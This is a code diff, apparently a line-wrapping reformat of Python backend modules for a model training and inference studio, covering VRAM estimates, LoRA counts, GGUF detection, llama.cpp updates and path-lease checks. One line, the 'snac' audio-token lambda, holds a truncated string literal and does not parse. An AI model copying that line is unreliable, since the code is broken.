-    per_layer_embed = arch.vocab_size_per_layer_input * arch.hidden_size_per_layer_input * n_layers
+    per_layer_embed = (
+        arch.vocab_size_per_layer_input * arch.hidden_size_per_layer_input * n_layers
+    )
     ple_text_linear = _per_layer_input_quantizable(arch)
     ple_norms = _per_layer_input_norm_elements(arch)
     embed_tokens = arch.vocab_size * hd + per_layer_embed + ple_norms
@@ -851,7 +894,9 @@ def compute_model_weights_bytes(
         )
         quantized = total_quantizable - skipped_quantizable
         return int(
-            quantized * 2 / arch.quant_4bit_factor + skipped_quantizable * 2 + non_quantizable * 2
+            quantized * 2 / arch.quant_4bit_factor
+            + skipped_quantizable * 2
+            + non_quantizable * 2
         )
 
     return int((total_quantizable + non_quantizable) * 2)
@@ -907,7 +952,9 @@ def _lora_mlp_elements(
     return total
 
 
-def compute_lora_params(arch: ModelArchConfig, lora_rank: int, target_modules: list) -> int:
+def compute_lora_params(
+    arch: ModelArchConfig, lora_rank: int, target_modules: list
+) -> int:
     all_linear = _targets_all_linear(target_modules)
     selected_modules = list(DEFAULT_TARGET_MODULES) if all_linear else target_modules
     hd = arch.hidden_size
@@ -972,7 +1019,11 @@ def compute_lora_params(arch: ModelArchConfig, lora_rank: int, target_modules: l
                 mlp_total = moe_mlp * n_moe + dense_only
         else:
             mlp_total = structured_dense_mlp
-        return attn_total + mlp_total + _per_layer_input_lora_params(arch, r, target_modules)
+        return (
+            attn_total
+            + mlp_total
+            + _per_layer_input_lora_params(arch, r, target_modules)
+        )
     elif n_experts > 1:
         attn_total = _lora_attn_elements(arch, r, selected_modules) * n_layers
         n_dense = arch.num_dense_layers
@@ -1024,7 +1075,9 @@ def compute_lora_params(arch: ModelArchConfig, lora_rank: int, target_modules: l
             * n_layers
         )
 
-    return attn_total + mlp_total + _per_layer_input_lora_params(arch, r, target_modules)
+    return (
+        attn_total + mlp_total + _per_layer_input_lora_params(arch, r, target_modules)
+    )
 
 
 def compute_lora_adapter_bytes(lora_params: int) -> int:
@@ -1100,7 +1153,9 @@ def _per_layer_activation_bytes(
     # layer when hidden_size_per_layer_input is set (gemma4 modular:1141-1145).
     pli = arch.hidden_size_per_layer_input
     activation_ple = seq_len * batch_size * (arch.hidden_size + pli) if pli > 0 else 0
-    return int((activation_qkv + residual_memory + activation_mlp + activation_ple) * 2 * 1.25)
+    return int(
+        (activation_qkv + residual_memory + activation_mlp + activation_ple) * 2 * 1.25
+    )
 
 
 def compute_activation_bytes(
@@ -1121,12 +1176,14 @@ def compute_activation_bytes(
     if gc_multiplier is None:
         effective_layers = n_layers
         linear_bytes = sum(
-            _per_layer_activation_bytes(arch, i, batch_size, seq_len) for i in range(n_layers)
+            _per_layer_activation_bytes(arch, i, batch_size, seq_len)
+            for i in range(n_layers)
         )
     else:
         effective_layers = gc_multiplier
         max_layer_bytes = max(
-            _per_layer_activation_bytes(arch, i, batch_size, seq_len) for i in range(n_layers)
+            _per_layer_activation_bytes(arch, i, batch_size, seq_len)
+            for i in range(n_layers)
         )
         linear_bytes = int(max_layer_bytes * effective_layers)
 
@@ -1149,7 +1206,9 @@ def compute_activation_bytes(
     )
 
 
-def estimate_training_vram(arch: ModelArchConfig, config: TrainingVramConfig) -> VramBreakdown:
+def estimate_training_vram(
+    arch: ModelArchConfig, config: TrainingVramConfig
+) -> VramBreakdown:
     method = config.training_method.lower()
     is_lora = method in ("qlora", "lora")
     load_in_4bit = config.load_in_4bit or method == "qlora"
diff --git a/studio/backend/utils/hf_token_validation.py b/studio/backend/utils/hf_token_validation.py
index 7247c6e756..216a8529eb 100644
--- a/studio/backend/utils/hf_token_validation.py
+++ b/studio/backend/utils/hf_token_validation.py
@@ -181,7 +181,9 @@ def validate_hf_token(token: str, *, rate_key: str) -> TokenValidationResult:
         ttl = (
             _CACHE_TTL_SECONDS
             if result.status in ("valid", "invalid")
-            else max(_TEMPORARY_CACHE_TTL_SECONDS, float(result.retry_after_seconds or 0))
+            else max(
+                _TEMPORARY_CACHE_TTL_SECONDS, float(result.retry_after_seconds or 0)
+            )
         )
         with _lock:
             if len(_cache) >= _MAX_CACHE_ENTRIES:
diff --git a/studio/backend/utils/hidden_models.py b/studio/backend/utils/hidden_models.py
index 20d0bb966e..dfa1ab01dc 100644
--- a/studio/backend/utils/hidden_models.py
+++ b/studio/backend/utils/hidden_models.py
@@ -60,7 +60,8 @@ def _path_contains_repo_id(value: str, repo_ids: set[str]) -> bool:
         if f"models--{owner}--{name}" in parts:
             return True
         if any(
-            parts[index] == owner and parts[index + 1] == name for index in range(len(parts) - 1)
+            parts[index] == owner and parts[index + 1] == name
+            for index in range(len(parts) - 1)
         ):
             return True
     return False
@@ -72,7 +73,9 @@ def _path_basename_is_default_embedder(value: str) -> bool:
     basename = normalized.rsplit("/", 1)[-1]
     return any(
         basename == needle
-        or any(basename.startswith(f"{needle}{separator}") for separator in ("-", "_", "."))
+        or any(
+            basename.startswith(f"{needle}{separator}") for separator in ("-", "_", ".")
+        )
         for needle in _DEFAULT_EMBEDDING_PATH_BASENAMES
     )
 
diff --git a/studio/backend/utils/inference/inference_config.py b/studio/backend/utils/inference/inference_config.py
index 05eb08067c..bbc65c35fa 100644
--- a/studio/backend/utils/inference/inference_config.py
+++ b/studio/backend/utils/inference/inference_config.py
@@ -28,7 +28,10 @@ def _load_family_defaults():
         return
 
     json_path = (
-        Path(__file__).parent.parent.parent / "assets" / "configs" / "inference_defaults.json"
+        Path(__file__).parent.parent.parent
+        / "assets"
+        / "configs"
+        / "inference_defaults.json"
     )
     try:
         with open(json_path, "r", encoding = "utf-8") as f:
diff --git a/studio/backend/utils/llama_cpp_freshness.py b/studio/backend/utils/llama_cpp_freshness.py
index 7d077bfa3b..14454ff383 100644
--- a/studio/backend/utils/llama_cpp_freshness.py
+++ b/studio/backend/utils/llama_cpp_freshness.py
@@ -155,7 +155,9 @@ def _fetch_latest_release_tag(repo: str, timeout: float = 5.0) -> Optional[str]:
     return newest["tag_name"]
 
 
-def latest_published_release(repo: str, *, force_refresh: bool = False) -> Optional[str]:
+def latest_published_release(
+    repo: str, *, force_refresh: bool = False
+) -> Optional[str]:
     """Latest release tag for `repo`. Memo + disk-cached (24h TTL).
     None when offline and never previously cached."""
     if not repo:
@@ -182,7 +184,9 @@ def latest_published_release(repo: str, *, force_refresh: bool = False) -> Optio
     return latest
 
 
-def _fetch_latest_release_assets(repo: str, timeout: float = 5.0) -> Optional[dict[str, int]]:
+def _fetch_latest_release_assets(
+    repo: str, timeout: float = 5.0
+) -> Optional[dict[str, int]]:
     """Asset name -> size (bytes) for the newest published release of `repo`,
     selected exactly like _fetch_latest_release_tag. None on any failure."""
     import urllib.error
@@ -230,7 +234,9 @@ def _fetch_latest_release_assets(repo: str, timeout: float = 5.0) -> Optional[di
     return assets
 
 
-def latest_release_assets(repo: str, *, force_refresh: bool = False) -> Optional[dict[str, int]]:
+def latest_release_assets(
+    repo: str, *, force_refresh: bool = False
+) -> Optional[dict[str, int]]:
     """Newest-release asset sizes for `repo`, memoized (24h TTL). None when
     offline and never fetched. In-memory only -- a restart simply re-fetches."""
     if not repo:
diff --git a/studio/backend/utils/llama_cpp_update.py b/studio/backend/utils/llama_cpp_update.py
index 67733bde35..6d1516979f 100644
--- a/studio/backend/utils/llama_cpp_update.py
+++ b/studio/backend/utils/llama_cpp_update.py
@@ -115,7 +115,10 @@ def _installer_script() -> Optional[Path]:
         return Path(env)
     here = Path(__file__).resolve()
     for up in here.parents:
-        for cand in (up / "install_llama_prebuilt.py", up / "studio" / "install_llama_prebuilt.py"):
+        for cand in (
+            up / "install_llama_prebuilt.py",
+            up / "studio" / "install_llama_prebuilt.py",
+        ):
             if cand.is_file():
                 return cand
     return None
@@ -174,7 +177,9 @@ def _installed_build_number(binary: Optional[str]) -> Optional[int]:
     if not binary:
         return None
     try:
-        proc = subprocess.run([binary, "--version"], capture_output = True, text = True, timeout = 20)
+        proc = subprocess.run(
+            [binary, "--version"], capture_output = True, text = True, timeout = 20
+        )
     except Exception:  # pragma: no cover - defensive
         return None
     m = re.search(r"version:\s*(\d+)", (proc.stderr or "") + (proc.stdout or ""))
@@ -302,11 +307,15 @@ def _source_build_status(binary: str, *, force_refresh: bool) -> Optional[dict]:
         asset_name = res.get("asset")
         if isinstance(asset_name, str) and asset_name:
             try:
-                assets = latest_release_assets(res.get("repo"), force_refresh = force_refresh)
+                assets = latest_release_assets(
+                    res.get("repo"), force_refresh = force_refresh
+                )
                 if assets:
                     update_size_bytes = assets.get(asset_name)
             except Exception as exc:  # pragma: no cover - network defensive
-                logger.debug("llama update: source-build size lookup failed", error = str(exc))
+                logger.debug(
+                    "llama update: source-build size lookup failed", error = str(exc)
+                )
     with _job_lock:
         job = dict(_job)
     return {
@@ -495,7 +504,8 @@ def _run_update(
             backend = get_llama_cpp_backend()
         except Exception as exc:
             logger.debug(
-                "llama update: backend unavailable, skipping load coordination", error = str(exc)
+                "llama update: backend unavailable, skipping load coordination",
+                error = str(exc),
             )
             backend = None
 
@@ -565,7 +575,9 @@ def _run_update(
                 m = _PROGRESS_LINE_RE.search(line)
                 if m is None:
                     continue
-                fraction = min(float(m.group(1)) / 100.0, 1.0) * _DOWNLOAD_PROGRESS_CEILING
+                fraction = (
+                    min(float(m.group(1)) / 100.0, 1.0) * _DOWNLOAD_PROGRESS_CEILING
+                )
                 with _job_lock:
                     _job["progress"] = max(_job.get("progress") or 0.0, fraction)
             returncode = proc.wait()
@@ -583,7 +595,9 @@ def _run_update(
         try:
             latest_published_release(repo, force_refresh = True)
         except Exception as exc:  # pragma: no cover - network defensive
-            logger.debug("llama update: post-install freshness refresh failed", error = str(exc))
+            logger.debug(
+                "llama update: post-install freshness refresh failed", error = str(exc)
+            )
         new_marker = read_install_marker(_find_binary())
         new_tag = (new_marker or {}).get("release_tag") or (new_marker or {}).get("tag")
 
@@ -595,7 +609,9 @@ def _run_update(
             and (new_marker or {}).get("published_repo") == repo
             and new_tag != pin_release_tag
         ):
-            raise RuntimeError(f"pinned release {pin_release_tag} but installer produced {new_tag}")
+            raise RuntimeError(
+                f"pinned release {pin_release_tag} but installer produced {new_tag}"
+            )
 
         with _job_lock:
             _job.update(
diff --git a/studio/backend/utils/mlx_repair.py b/studio/backend/utils/mlx_repair.py
index 4ea1ec62f5..68058fe983 100644
--- a/studio/backend/utils/mlx_repair.py
+++ b/studio/backend/utils/mlx_repair.py
@@ -59,7 +59,9 @@ def _mlx_spec(name: str, version: str) -> str:
     return spec
 
 
-MLX_PACKAGES = tuple(_mlx_spec(name, version) for name, version in _MLX_MIN_VERSIONS.items())
+MLX_PACKAGES = tuple(
+    _mlx_spec(name, version) for name, version in _MLX_MIN_VERSIONS.items()
+)
 _MLX_REINSTALL_ARGS = tuple(
     arg for name in _MLX_PACKAGE_NAMES for arg in ("--reinstall-package", name)
 )
@@ -157,7 +159,9 @@ def _mlx_versions_satisfy_minimums() -> bool:
                 return False
             # A known-broken build counts as unsatisfied so the self-heal
             # reinstalls a good one; Version compare matches 0.31.3(.0/+local).
-            if any(installed == Version(bad) for bad in _MLX_BAD_VERSIONS.get(name, ())):
+            if any(
+                installed == Version(bad) for bad in _MLX_BAD_VERSIONS.get(name, ())
+            ):
                 return False
         except PackageNotFoundError:
             return False
diff --git a/studio/backend/utils/models/checkpoints.py b/studio/backend/utils/models/checkpoints.py
index f2125ad034..5889e3a32e 100644
--- a/studio/backend/utils/models/checkpoints.py
+++ b/studio/backend/utils/models/checkpoints.py
@@ -206,7 +206,9 @@ def scan_checkpoints(
                 if name_part:
                     idx = name_part.find("_")
                     if idx > 0:
-                        metadata["base_model"] = name_part[:idx] + "/" + name_part[idx + 1 :]
+                        metadata["base_model"] = (
+                            name_part[:idx] + "/" + name_part[idx + 1 :]
+                        )
                     else:
                         metadata["base_model"] = name_part
 
@@ -243,7 +245,9 @@ def scan_checkpoints(
                 )
 
             models.append((item.name, checkpoints, metadata))
-            logger.debug(f"Found model: {item.name} with {len(checkpoints)} checkpoint(s)")
+            logger.debug(
+                f"Found model: {item.name} with {len(checkpoints)} checkpoint(s)"
+            )
 
         # Sort by modification time (newest first)
         models.sort(key = lambda x: Path(x[1][0][1]).stat().st_mtime, reverse = True)
diff --git a/studio/backend/utils/models/gguf_metadata.py b/studio/backend/utils/models/gguf_metadata.py
index 50b3cd3513..e6ee60c2e0 100644
--- a/studio/backend/utils/models/gguf_metadata.py
+++ b/studio/backend/utils/models/gguf_metadata.py
@@ -174,7 +174,9 @@ def read_gguf_context_length(path: str) -> Optional[int]:
     return dims["context_length"] if dims else None
 
 
-def _parse_gguf_arch_uints(path: str, wanted_suffixes: frozenset[str]) -> Optional[Dict[str, int]]:
+def _parse_gguf_arch_uints(
+    path: str, wanted_suffixes: frozenset[str]
+) -> Optional[Dict[str, int]]:
     """Walk a GGUF header once and return the requested architecture-namespaced
     uint (vtype 4/10) keys, e.g. ``{"block_count": 32}``. Keys are
     ``{arch}.``; the arch is learned from ``general.architecture`` (GGUF
diff --git a/studio/backend/utils/models/model_config.py b/studio/backend/utils/models/model_config.py
index dadf103cea..e0525ac5c9 100644
--- a/studio/backend/utils/models/model_config.py
+++ b/studio/backend/utils/models/model_config.py
@@ -51,20 +51,27 @@ def _env_offline() -> bool:
     """True if an HF offline env var is truthy (canonical strip+lower parse, on/true/yes/1)."""
     return (
         os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in _OFFLINE_TRUE_VALUES
-        or os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower() in _OFFLINE_TRUE_VALUES
+        or os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower()
+        in _OFFLINE_TRUE_VALUES
     )
 
 
 # ── Model size extraction ────────────────────────────────────
 import re as _re
 
-_MODEL_SIZE_RE = _re.compile(r"(?:^|[-_/])(\d+\.?\d*)\s*([bm])(?:$|[-_/])", _re.IGNORECASE)
+_MODEL_SIZE_RE = _re.compile(
+    r"(?:^|[-_/])(\d+\.?\d*)\s*([bm])(?:$|[-_/])", _re.IGNORECASE
+)
 # MoE active-parameter pattern: "A3B", "A3.5B", etc.
-_ACTIVE_SIZE_RE = _re.compile(r"(?:^|[-_/])a(\d+\.?\d*)\s*([bm])(?:$|[-_/])", _re.IGNORECASE)
+_ACTIVE_SIZE_RE = _re.compile(
+    r"(?:^|[-_/])a(\d+\.?\d*)\s*([bm])(?:$|[-_/])", _re.IGNORECASE
+)
 # Gemma 3n/4 effective-parameter pattern: "E2B", "E4B" -- the runtime
 # footprint (MatFormer + per-layer embeddings), which is the size that
 # matters for size-gated policies like sub-3B speculative-decoding fallback.
-_EFFECTIVE_SIZE_RE = _re.compile(r"(?:^|[-_/])e(\d+\.?\d*)\s*([bm])(?:$|[-_/])", _re.IGNORECASE)
+_EFFECTIVE_SIZE_RE = _re.compile(
+    r"(?:^|[-_/])e(\d+\.?\d*)\s*([bm])(?:$|[-_/])", _re.IGNORECASE
+)
 
 
 def extract_model_size_b(model_id: str) -> float | None:
@@ -603,7 +610,9 @@ def _is_vlm(config) -> bool:
     return (
         explicit_vision
         or any(x in _VLM_CLASS_NAMES for x in architectures)
-        or any(isinstance(x, str) and x.endswith(_VLM_ARCH_SUFFIXES) for x in architectures)
+        or any(
+            isinstance(x, str) and x.endswith(_VLM_ARCH_SUFFIXES) for x in architectures
+        )
         or model_type in _VLM_MODEL_TYPES
     )
 
@@ -641,7 +650,10 @@ def _raw_config_has_vision_config(
         return (
             explicit_vision
             or any(isinstance(x, str) and x in _VLM_CLASS_NAMES for x in architectures)
-            or any(isinstance(x, str) and x.endswith(_VLM_ARCH_SUFFIXES) for x in architectures)
+            or any(
+                isinstance(x, str) and x.endswith(_VLM_ARCH_SUFFIXES)
+                for x in architectures
+            )
             or model_type in _VLM_MODEL_TYPES
         )
     except Exception as exc:
@@ -736,7 +748,9 @@ except Exception as exc:
 )
 
 
-def _is_vision_model_subprocess(model_name: str, hf_token: Optional[str] = None) -> Optional[bool]:
+def _is_vision_model_subprocess(
+    model_name: str, hf_token: Optional[str] = None
+) -> Optional[bool]:
     """Run is_vision_model in a subprocess with transformers 5.x.
 
     Spawns a clean subprocess with .venv_t5/ on sys.path so AutoConfig
@@ -750,7 +764,10 @@ def _is_vision_model_subprocess(model_name: str, hf_token: Optional[str] = None)
     # other tiers keep the 5.5 sidecar.
     sidecar_dir = _VENV_T5_DIR
     try:
-        from utils.transformers_version import _VENV_T5_LATEST_DIR, get_transformers_tier
+        from utils.transformers_version import (
+            _VENV_T5_LATEST_DIR,
+            get_transformers_tier,
+        )
         if get_transformers_tier(model_name, hf_token, probe = False) == "latest":
             sidecar_dir = _VENV_T5_LATEST_DIR
     except Exception:
@@ -879,7 +896,9 @@ def is_vision_model(
 
     # Compute outside the lock so long-running detection isn't serialized across
     # models. Two concurrent calls may both run, but produce the same result.
-    result = _is_vision_model_uncached(resolved_name, hf_token, local_files_only = effective_offline)
+    result = _is_vision_model_uncached(
+        resolved_name, hf_token, local_files_only = effective_offline
+    )
     # Only cache definitive results; None is a transient failure, retry later.
     if result is not None:
         with _vision_cache_lock:
@@ -992,7 +1011,9 @@ _AUDIO_TOKEN_PATTERNS = {
         and "<|text_start|>" in tokens
         and "<|text_end|>" in tokens
     ),
-    "snac": lambda tokens: (sum(1 for t in tokens if t.startswith(" 10000),
+    "snac": lambda tokens: (
+        sum(1 for t in tokens if t.startswith(" 10000
+    ),
 }
 
 
@@ -1397,7 +1418,9 @@ def detect_mtp_file(path: str, search_root: Optional[str] = None) -> Optional[st
             if not (name.startswith("mtp-") and name.endswith(".gguf")):
                 continue
             stem = name[len("mtp-") : -len(".gguf")]
-            if not stem or (weight_name is not None and not weight_name.startswith(stem)):
+            if not stem or (
+                weight_name is not None and not weight_name.startswith(stem)
+            ):
                 continue
             try:
                 if f.is_file():
@@ -1425,7 +1448,11 @@ def detect_gguf_model(path: str) -> Optional[str]:
         # (...-MTP.gguf) doesn't match the predicate's mtp- prefix.
         rel = f"{p.parent.name}/{p.name}"
         quant = _extract_quant_label(rel)
-        if _is_mmproj(p.name) or _is_mtp_drafter(rel) or _is_big_endian_gguf_path(rel, quant):
+        if (
+            _is_mmproj(p.name)
+            or _is_mtp_drafter(rel)
+            or _is_big_endian_gguf_path(rel, quant)
+        ):
             return None
         # Extension is authoritative: don't gate on is_file()/exists(), which
         # can fail in the Windows lock window after llama-server is killed.
@@ -1694,7 +1721,9 @@ def _iter_hf_cache_snapshots(repo_id: str):
     yield from (snap_dir for _, snap_dir in snap_dirs_with_mtime)
 
 
-def _list_gguf_variants_from_hf_cache(repo_id: str) -> Optional[tuple[list[GgufVariantInfo], bool]]:
+def _list_gguf_variants_from_hf_cache(
+    repo_id: str,
+) -> Optional[tuple[list[GgufVariantInfo], bool]]:
     """Variants from the local HF cache snapshot, or None if not cached.
 
     A newer snapshot can hold only a companion file (for example a vision
@@ -1915,7 +1944,11 @@ def _detect_gguf_from_hf_cache(repo_id: str) -> Optional[str]:
         for f in _iter_gguf_files(snap, recursive = True):
             rel = f.relative_to(snap).as_posix()
             quant = _extract_quant_label(rel)
-            if _is_mmproj(f.name) or _is_mtp_drafter(rel) or _is_big_endian_gguf_path(rel, quant):
+            if (
+                _is_mmproj(f.name)
+                or _is_mtp_drafter(rel)
+                or _is_big_endian_gguf_path(rel, quant)
+            ):
                 continue
             rel_files.append(rel)
         if rel_files:
@@ -1923,7 +1956,9 @@ def _detect_gguf_from_hf_cache(repo_id: str) -> Optional[str]:
     return None
 
 
-def detect_gguf_model_remote(repo_id: str, hf_token: Optional[str] = None) -> Optional[str]:
+def detect_gguf_model_remote(
+    repo_id: str, hf_token: Optional[str] = None
+) -> Optional[str]:
     """Return the best GGUF filename in a HF repo, or None.
 
     Retries (3 attempts, 1s/2s/4s backoff) on transient HF Hub failures: a
@@ -1981,7 +2016,9 @@ def detect_gguf_model_remote(repo_id: str, hf_token: Optional[str] = None) -> Op
         )
         return cached
 
-    logger.warning(f"Could not check GGUF files for '{repo_id}' after 3 attempts: {last_err}")
+    logger.warning(
+        f"Could not check GGUF files for '{repo_id}' after 3 attempts: {last_err}"
+    )
     return None
 
 
@@ -2104,7 +2141,9 @@ def _looks_like_lora_adapter(model_dir: Path) -> bool:
     )
 
 
-def scan_trained_models(outputs_dir: str = str(outputs_root())) -> List[Tuple[str, str, str]]:
+def scan_trained_models(
+    outputs_dir: str = str(outputs_root()),
+) -> List[Tuple[str, str, str]]:
     """Scan outputs folder for trained Unsloth models.
 
     Returns:
@@ -2170,7 +2209,9 @@ def scan_exported_models(
 
             # Flat GGUF export (e.g. exports/gemma-3-4b-it-finetune-gguf/).
             # Skip mmproj (vision projection) files — not loadable as main models.
-            gguf_files = [f for f in _iter_gguf_files(run_dir) if not _is_mmproj(f.name)]
+            gguf_files = [
+                f for f in _iter_gguf_files(run_dir) if not _is_mmproj(f.name)
+            ]
             if gguf_files:
                 base_model = None
                 export_meta = run_dir / "export_metadata.json"
@@ -2244,7 +2285,9 @@ def scan_exported_models(
 
                 # Fallback: base model from ./outputs/{run_name}/adapter_config.json
                 if not base_model:
-                    outputs_adapter_cfg = resolve_output_dir(run_dir.name) / "adapter_config.json"
+                    outputs_adapter_cfg = (
+                        resolve_output_dir(run_dir.name) / "adapter_config.json"
+                    )
                     try:
                         if outputs_adapter_cfg.exists():
                             cfg = json.loads(outputs_adapter_cfg.read_text())
@@ -2277,7 +2320,9 @@ def get_base_model_from_checkpoint(checkpoint_path: str) -> Optional[str]:
                 config = json.load(f)
                 base_model = config.get("base_model_name_or_path")
                 if base_model:
-                    logger.info("Detected base model from adapter_config.json: %s", base_model)
+                    logger.info(
+                        "Detected base model from adapter_config.json: %s", base_model
+                    )
                     return base_model
 
         config_path = checkpoint_path_obj / "config.json"
@@ -2342,7 +2387,9 @@ def get_base_model_from_lora(lora_path: str) -> Optional[str]:
                 config = json.load(f)
                 base_model = config.get("base_model_name_or_path")
                 if base_model:
-                    logger.info(f"Detected base model from adapter_config.json: {base_model}")
+                    logger.info(
+                        f"Detected base model from adapter_config.json: {base_model}"
+                    )
                     return base_model
 
         # Fallback: try training_args.bin (requires torch)
@@ -2428,7 +2475,9 @@ def get_base_model_from_lora_identifier(
             with open(cfg_path, "r") as f:
                 base_model = json.load(f).get("base_model_name_or_path")
         except Exception as exc:
-            logger.warning("Could not parse adapter_config.json for '%s': %s", identifier, exc)
+            logger.warning(
+                "Could not parse adapter_config.json for '%s': %s", identifier, exc
+            )
             return None
         if base_model:
             logger.info(
@@ -2476,7 +2525,9 @@ def load_model_defaults(model_name: str) -> Dict[str, Any]:
                 if config_path.is_file():
                     with open(config_path, "r", encoding = "utf-8") as f:
                         config = yaml.safe_load(f) or {}
-                        logger.info(f"Loaded model defaults from {config_path} (via mapping)")
+                        logger.info(
+                            f"Loaded model defaults from {config_path} (via mapping)"
+                        )
                         return config
 
         # For local paths (e.g. /home/.../Spark-TTS-0.5B/LLM from
@@ -2545,11 +2596,17 @@ class ModelConfig:
     is_lora: bool  # LoRA adapter?
     is_gguf: bool = False  # GGUF model?
     is_audio: bool = False  # TTS audio model?
-    audio_type: Optional[str] = None  # Audio codec type: 'snac', 'csm', 'bicodec', 'dac'
+    audio_type: Optional[str] = (
+        None  # Audio codec type: 'snac', 'csm', 'bicodec', 'dac'
+    )
     has_audio_input: bool = False  # Accepts audio input (ASR/speech understanding)
     gguf_file: Optional[str] = None  # Full path to the .gguf file (local mode)
-    gguf_mmproj_file: Optional[str] = None  # Full path to the mmproj .gguf file (vision projection)
-    gguf_mtp_file: Optional[str] = None  # Full path to the separate MTP drafter (local mode)
+    gguf_mmproj_file: Optional[str] = (
+        None  # Full path to the mmproj .gguf file (vision projection)
+    )
+    gguf_mtp_file: Optional[str] = (
+        None  # Full path to the separate MTP drafter (local mode)
+    )
     gguf_hf_repo: Optional[str] = (
         None  # HF repo ID for -hf mode (e.g. "unsloth/gemma-3-4b-it-GGUF")
     )
@@ -2687,7 +2744,9 @@ class ModelConfig:
                     gguf_is_vision = True
                     logger.info(f"Detected mmproj for vision: {mmproj_file}")
                 elif base_is_vision:
-                    logger.warning(f"Base model is vision but no mmproj file found in {gguf_dir}")
+                    logger.warning(
+                        f"Base model is vision but no mmproj file found in {gguf_dir}"
+                    )
 
                 # Separate MTP drafter sibling (Gemma 4), mirroring mmproj.
                 mtp_file = detect_mtp_file(gguf_file, search_root = companion_root)
@@ -2757,11 +2816,15 @@ class ModelConfig:
         # Auto-detect LoRA for local paths (adapter_config.json on disk)
         if not is_lora and is_local:
             detected_base = (
-                get_base_model_from_lora(path) if _looks_like_lora_adapter(Path(path)) else None
+                get_base_model_from_lora(path)
+                if _looks_like_lora_adapter(Path(path))
+                else None
             )
             if detected_base:
                 is_lora = True
-                logger.info(f"Auto-detected local LoRA adapter at '{path}' (base: {detected_base})")
+                logger.info(
+                    f"Auto-detected local LoRA adapter at '{path}' (base: {detected_base})"
+                )
 
         # Auto-detect LoRA for remote HF models. When offline, huggingface_hub
         # raises OfflineModeIsEnabled in ~0ms; we fall through to the cache.
@@ -2775,14 +2838,18 @@ class ModelConfig:
                     is_lora = True
                     logger.info(f"Auto-detected remote LoRA adapter: '{identifier}'")
             except Exception as e:
-                logger.debug(f"Could not check remote LoRA status for '{identifier}': {e}")
+                logger.debug(
+                    f"Could not check remote LoRA status for '{identifier}': {e}"
+                )
 
             # API may have failed; adapter_config.json could still be cached.
             if not is_lora:
                 for snap in _iter_hf_cache_snapshots(identifier):
                     if (snap / "adapter_config.json").is_file():
                         is_lora = True
-                        logger.info(f"Auto-detected cached LoRA adapter: '{identifier}'")
+                        logger.info(
+                            f"Auto-detected cached LoRA adapter: '{identifier}'"
+                        )
                         break
 
         # Handle LoRA adapters
@@ -2796,7 +2863,9 @@ class ModelConfig:
                 try:
                     from huggingface_hub import hf_hub_download
 
-                    config_path = hf_hub_download(identifier, "adapter_config.json", token = hf_token)
+                    config_path = hf_hub_download(
+                        identifier, "adapter_config.json", token = hf_token
+                    )
                     with open(config_path, "r") as f:
                         adapter_config = json.load(f)
                     base_model = adapter_config.get("base_model_name_or_path")
@@ -2857,7 +2926,9 @@ class ModelConfig:
 
         # Resolve display names via the 'local_models' parameter
         if " (Active)" in selected or " (Ready)" in selected:
-            clean_display_name = selected.replace(" (Active)", "").replace(" (Ready)", "")
+            clean_display_name = selected.replace(" (Active)", "").replace(
+                " (Ready)", ""
+            )
             if local_models:
                 for local_display, local_path in local_models:
                     if local_display == clean_display_name:
diff --git a/studio/backend/utils/native_path_leases.py b/studio/backend/utils/native_path_leases.py
index 08671cfe39..aaab96035b 100644
--- a/studio/backend/utils/native_path_leases.py
+++ b/studio/backend/utils/native_path_leases.py
@@ -68,7 +68,9 @@ def native_path_leases_supported() -> bool:
     return True
 
 
-def child_env_without_native_path_secret(env: Mapping[str, str] | None = None) -> dict[str, str]:
+def child_env_without_native_path_secret(
+    env: Mapping[str, str] | None = None,
+) -> dict[str, str]:
     """Return a child-process env with the native path lease secret removed."""
 
     if env is None:
@@ -80,7 +82,9 @@ def child_env_without_native_path_secret(env: Mapping[str, str] | None = None) -
     return cleaned
 
 
-def run_without_native_path_secret(target: Callable[..., Any], *args: Any, **kwargs: Any) -> Any:
+def run_without_native_path_secret(
+    target: Callable[..., Any], *args: Any, **kwargs: Any
+) -> Any:
     """Run a multiprocessing child target without the native path lease secret."""
 
     # Runs in the spawned child: bind it to the parent's death (Linux), since
@@ -156,7 +160,9 @@ def verify_native_path_lease(
         raise NativePathLeaseError("Native path is no longer accessible.") from exc
     _reject_network_or_device_path(resolved)
     if not _same_native_path(resolved, path):
-        raise NativePathLeaseError("Native path grant no longer resolves to the selected path.")
+        raise NativePathLeaseError(
+            "Native path grant no longer resolves to the selected path."
+        )
 
     grant = NativePathGrant(
         operation = str(payload["operation"]),
@@ -220,7 +226,9 @@ def _decode_secret() -> bytes:
             if encoded is None and _SCRUB_SAVED_SECRET is not None:
                 encoded = _SCRUB_SAVED_SECRET
         if not encoded:
-            raise NativePathLeaseError("Native path grants require the managed desktop backend.")
+            raise NativePathLeaseError(
+                "Native path grants require the managed desktop backend."
+            )
         try:
             secret = _b64decode(encoded)
         except Exception as exc:
@@ -271,7 +279,9 @@ def _validate_payload(
     )
     missing = [key for key in required if key not in payload]
     if missing:
-        raise NativePathLeaseError("Native path grant payload is missing required fields.")
+        raise NativePathLeaseError(
+            "Native path grant payload is missing required fields."
+        )
     if _required_int(payload, "version") != 1:
         raise NativePathLeaseError("Native path grant version is unsupported.")
     if payload["operation"] != operation:
@@ -350,13 +360,19 @@ def _reject_network_or_device_path(path: Path) -> None:
             rest = normalized[4:]
             is_local_drive = len(rest) >= 3 and rest[0].isalpha() and rest[1:3] == ":\\"
             if not is_local_drive:
-                raise NativePathLeaseError("Network paths are not supported for native grants.")
+                raise NativePathLeaseError(
+                    "Network paths are not supported for native grants."
+                )
         elif normalized.startswith("\\\\"):
-            raise NativePathLeaseError("Network paths are not supported for native grants.")
+            raise NativePathLeaseError(
+                "Network paths are not supported for native grants."
+            )
     if os.name != "nt":
         for root in ("/dev", "/proc", "/sys"):
             if path.is_relative_to(root):
-                raise NativePathLeaseError("Device and virtual filesystem paths are not supported.")
+                raise NativePathLeaseError(
+                    "Device and virtual filesystem paths are not supported."
+                )
     if "\x00" in text:
         raise NativePathLeaseError("Native path contains invalid characters.")
 
@@ -388,7 +404,9 @@ def _optional_int(value: Any) -> int | None:
 def _required_int(payload: dict[str, Any], key: str) -> int:
     raw = payload.get(key)
     if raw is None:
-        raise NativePathLeaseError("Native path grant payload is missing required fields.")
+        raise NativePathLeaseError(
+            "Native path grant payload is missing required fields."
+        )
     try:
         return int(raw)
     except (TypeError, ValueError) as exc:
